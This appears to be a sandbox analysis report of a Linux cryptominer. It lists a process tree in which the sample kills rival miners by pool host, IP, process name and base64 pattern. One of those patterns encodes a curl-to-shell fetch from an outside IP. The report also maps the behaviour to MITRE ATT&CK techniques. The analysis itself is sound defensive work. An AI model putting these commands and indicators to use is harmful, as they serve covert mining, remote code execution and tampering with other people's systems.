- /bin/ps
  ps aux
  2⤵
  PID:1061
- /bin/grep
  grep -v grep
  2⤵
  PID:1062
- /bin/grep
  grep 107.174.47.156
  2⤵
  PID:1063
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1064
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1065
- /bin/grep
  grep -v grep
  2⤵
  PID:1067
- /bin/ps
  ps aux
  2⤵
  PID:1066
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1069
- /bin/grep
  grep 83.220.169.247
  2⤵
  PID:1068
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1070
- /bin/ps
  ps aux
  2⤵
  PID:1071
- /bin/grep
  grep -v grep
  2⤵
  PID:1072
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1074
- /bin/grep
  grep 51.38.203.146
  2⤵
  PID:1073
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1075
- /bin/ps
  ps aux
  2⤵
  PID:1076
- /bin/grep
  grep 144.217.45.45
  2⤵
  PID:1078
- /bin/grep
  grep -v grep
  2⤵
  PID:1077
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1079
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1080
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1081
- /bin/grep
  grep -v grep
  2⤵
  PID:1082
- /bin/grep
  grep 107.174.47.181
  2⤵
  PID:1083
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1084
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1085
- /bin/ps
  ps aux
  2⤵
  PID:1086
- /bin/grep
  grep -v grep
  2⤵
  PID:1087
- /bin/grep
  grep 176.31.6.16
  2⤵
  PID:1088
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1089
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1090
- /bin/ps
  ps auxf
  2⤵
  PID:1091
- /bin/grep
  grep -v grep
  2⤵
  PID:1092
- /bin/grep
  grep mine.moneropool.com
  2⤵
  PID:1093
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1094
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1095
- /bin/ps
  ps auxf
  2⤵
  - Reads runtime system information
  PID:1096
- /bin/grep
  grep -v grep
  2⤵
  PID:1097
- /bin/grep
  grep pool.t00ls.ru
  2⤵
  PID:1098
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1099
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1100
- /bin/grep
  grep -v grep
  2⤵
  PID:1102
- /bin/ps
  ps auxf
  2⤵
  - Reads CPU attributes
  PID:1101
- /bin/grep
  grep xmr.kswapd0-pool.fr:8080
  2⤵
  PID:1103
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1104
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1105
- /bin/ps
  ps auxf
  2⤵
  PID:1106
- /bin/grep
  grep -v grep
  2⤵
  PID:1107
- /bin/grep
  grep xmr.kswapd0-pool.fr:3333
  2⤵
  PID:1108
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1109
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1110
- /bin/ps
  ps auxf
  2⤵
  PID:1111
- /bin/grep
  grep -v grep
  2⤵
  PID:1112
- /bin/grep
  grep "[email protected]"
  2⤵
  PID:1113
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1114
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1115
- /bin/ps
  ps auxf
  2⤵
  - Reads CPU attributes
  PID:1116
- /bin/grep
  grep -v grep
  2⤵
  PID:1117
- /bin/grep
  grep monerohash.com
  2⤵
  PID:1118
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1119
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1120
- /bin/ps
  ps auxf
  2⤵
  - Reads runtime system information
  PID:1124
- /bin/grep
  grep -v grep
  2⤵
  PID:1125
- /bin/grep
  grep /tmp/a7b104c270
  2⤵
  PID:1126
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1127
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1128
- /bin/ps
  ps auxf
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1130
- /bin/grep
  grep -v grep
  2⤵
  PID:1131
- /bin/grep
  grep xmr.kswapd0-pool.fr:6666
  2⤵
  PID:1132
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1133
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1134
- /bin/ps
  ps auxf
  2⤵
  - Reads CPU attributes
  PID:1137
- /bin/grep
  grep -v grep
  2⤵
  PID:1138
- /bin/grep
  grep xmr.kswapd0-pool.fr:7777
  2⤵
  PID:1139
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1140
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1141
- /bin/ps
  ps auxf
  2⤵
  - Reads CPU attributes
  PID:1146
- /bin/grep
  grep -v grep
  2⤵
  PID:1147
- /bin/grep
  grep xmr.kswapd0-pool.fr:443
  2⤵
  PID:1148
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1149
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1150
- /bin/grep
  grep -v grep
  2⤵
  PID:1155
- /bin/ps
  ps auxf
  2⤵
  PID:1154
- /bin/grep
  grep stratum.f2pool.com:8888
  2⤵
  PID:1156
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1157
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1158
- /bin/ps
  ps auxf
  2⤵
  - Reads CPU attributes
  PID:1163
- /bin/grep
  grep -v grep
  2⤵
  PID:1165
- /bin/grep
  grep xmrpool.eu
  2⤵
  PID:1166
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1167
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1168
- /bin/ps
  ps auxf
  2⤵
  - Reads runtime system information
  PID:1170
- /bin/grep
  grep -v grep
  2⤵
  PID:1171
- /bin/grep
  grep kieuanilam.me
  2⤵
  PID:1172
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1173
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1174
- /bin/ps
  ps auxf
  2⤵
  - Reads CPU attributes
  PID:1177
- /bin/grep
  grep xiaoyao
  2⤵
  PID:1178
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1179
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1180
- - /usr/local/sbin/kill
    kill -9 1178
    3⤵
    PID:1181
- - /usr/local/bin/kill
    kill -9 1178
    3⤵
    PID:1181
- - /usr/sbin/kill
    kill -9 1178
    3⤵
    PID:1181
- - /usr/bin/kill
    kill -9 1178
    3⤵
    PID:1181
- - /sbin/kill
    kill -9 1178
    3⤵
    PID:1181
- - /bin/kill
    kill -9 1178
    3⤵
    PID:1181
- /bin/ps
  ps auxf
  2⤵
  PID:1183
- /bin/grep
  grep xiaoxue
  2⤵
  PID:1184
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1185
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1186
- - /usr/local/sbin/kill
    kill -9 1184
    3⤵
    PID:1189
- - /usr/local/bin/kill
    kill -9 1184
    3⤵
    PID:1189
- - /usr/sbin/kill
    kill -9 1184
    3⤵
    PID:1189
- - /usr/bin/kill
    kill -9 1184
    3⤵
    PID:1189
- - /sbin/kill
    kill -9 1184
    3⤵
    PID:1189
- - /bin/kill
    kill -9 1184
    3⤵
    PID:1189
- /bin/grep
  grep 46.243.253.15
  2⤵
  PID:1191
- /bin/grep
  grep "ESTABLISHED\\|SYN_SENT"
  2⤵
  PID:1192
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1193
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:1194
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1195
- /bin/grep
  grep 176.31.6.16
  2⤵
  PID:1198
- /bin/grep
  grep "ESTABLISHED\\|SYN_SENT"
  2⤵
  PID:1199
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1200
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:1201
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1202
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1204
- /usr/bin/pgrep
  pgrep -f L2Jpbi9iYXN
  2⤵
  - Reads CPU attributes
  PID:1203
- /usr/bin/pgrep
  pgrep -f xzpauectgr
  2⤵
  PID:1205
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1206
- /usr/bin/pgrep
  pgrep -f slxfbkmxtd
  2⤵
  PID:1207
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1208
- /usr/bin/pgrep
  pgrep -f mixtape
  2⤵
  - Reads runtime system information
  PID:1210
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1211
- /usr/bin/pgrep
  pgrep -f addnj
  2⤵
  - Reads runtime system information
  PID:1212
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1213
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1215
- /usr/bin/pgrep
  pgrep -f 200.68.17.196
  2⤵
  - Reads CPU attributes
  PID:1214
- /usr/bin/pgrep
  pgrep -f IyEvYmluL3NoCgpzUG
  2⤵
  PID:1216
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1217
- /usr/bin/pgrep
  pgrep -f KHdnZXQgLXFPLSBodHRw
  2⤵
  - Reads CPU attributes
  PID:1218
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1219
- /usr/bin/pgrep
  pgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3
  2⤵
  - Reads runtime system information
  PID:1220
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1221
- /usr/bin/pgrep
  pgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo
  2⤵
  PID:1222
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1223
- /usr/bin/pgrep
  pgrep -f mwyumwdbpq.conf
  2⤵
  - Reads CPU attributes
  PID:1224
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1225
- /usr/bin/pgrep
  pgrep -f honvbsasbf.conf
  2⤵
  PID:1226
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1227
- /usr/bin/pgrep
  pgrep -f mqdsflm.cf
  2⤵
  PID:1228
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1229
- /usr/bin/pgrep
  pgrep -f lower.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1230
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1231
- /usr/bin/pgrep
  pgrep -f ./ppp
  2⤵
  PID:1232
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1233
- /usr/bin/pgrep
  pgrep -f kswapd0night
  2⤵
  PID:1234
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1235
- /usr/bin/pgrep
  pgrep -f ./seervceaess
  2⤵
  - Reads CPU attributes
  PID:1236
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1237
- /usr/bin/pgrep
  pgrep -f ./servceaess
  2⤵
  PID:1238
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1239
- /usr/bin/pgrep
  pgrep -f ./servceas
  2⤵
  - Reads CPU attributes
  PID:1240
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1241
- /usr/bin/pgrep
  pgrep -f ./servcesa
  2⤵
  - Reads CPU attributes
  PID:1242
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1243
- /usr/bin/pgrep
  pgrep -f ./vsp
  2⤵
  - Reads CPU attributes
  PID:1244
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1245
- /usr/bin/pgrep
  pgrep -f ./jvs
  2⤵
  - Reads CPU attributes
  PID:1246
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1247
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1249
- /usr/bin/pgrep
  pgrep -f ./pvv
  2⤵
  PID:1248
- /usr/bin/pgrep
  pgrep -f ./vpp
  2⤵
  PID:1250
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1251
- /usr/bin/pgrep
  pgrep -f ./pces
  2⤵
  - Reads runtime system information
  PID:1252
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1253
- /usr/bin/pgrep
  pgrep -f ./rspce
  2⤵
  PID:1254
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1255
- /usr/bin/pgrep
  pgrep -f ./haveged
  2⤵
  PID:1256
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1257
- /usr/bin/pgrep
  pgrep -f ./jiba
  2⤵
  - Reads CPU attributes
  PID:1258
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1259
- /usr/bin/pgrep
  pgrep -f ./watchbog
  2⤵
  - Reads CPU attributes
  PID:1260
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1261
- /usr/bin/pgrep
  pgrep -f ./A7mA5gb
  2⤵
  PID:1262
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1263
- /usr/bin/pgrep
  pgrep -f kacpi_svc
  2⤵
  - Reads runtime system information
  PID:1264
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1265
- /usr/bin/pgrep
  pgrep -f kswap_svc
  2⤵
  - Reads CPU attributes
  PID:1266
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1267
- /usr/bin/pgrep
  pgrep -f kauditd_svc
  2⤵
  - Reads CPU attributes
  PID:1268
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1269
- /usr/bin/pgrep
  pgrep -f kpsmoused_svc
  2⤵
  - Reads CPU attributes
  PID:1270
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Reads runtime system information
  PID:1271
- /usr/bin/pgrep
  pgrep -f kseriod_svc
  2⤵
  PID:1272
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1273
- /usr/bin/pgrep
  pgrep -f kthreadd_svc
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1274
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1275
- /usr/bin/pgrep
  pgrep -f ksoftirqd_svc
  2⤵
  - Reads CPU attributes
  PID:1276
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1277
- /usr/bin/pgrep
  pgrep -f kintegrityd_svc
  2⤵
  PID:1278
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1279
- /usr/bin/pgrep
  pgrep -f jawa
  2⤵
  PID:1280
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1281
- /usr/bin/pgrep
  pgrep -f oracle.jpg
  2⤵
  PID:1282
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1283

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
PID:361

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
PID:362

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
PID:381

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
PID:382

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hijack Execution Flow

T1574

Privilege Escalation

Hijack Execution Flow

T1574

Defense Evasion

Hijack Execution Flow

T1574

Indicator Removal on Host

T1070

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Dynamic Resolution

T1568

Exfiltration

Impact

description	ioc	Process
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	pgrep
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	pgrep
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	pgrep
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	pgrep
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	pgrep
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	pgrep
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	pgrep
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	pgrep
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	pgrep
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	kill
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	pgrep
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	pgrep
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	pgrep
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	pgrep
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	pgrep
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	pgrep
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	pgrep
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	pgrep
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps
/sys/devices/system/cpu/online	/sys/devices/system/cpu/online	ps

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads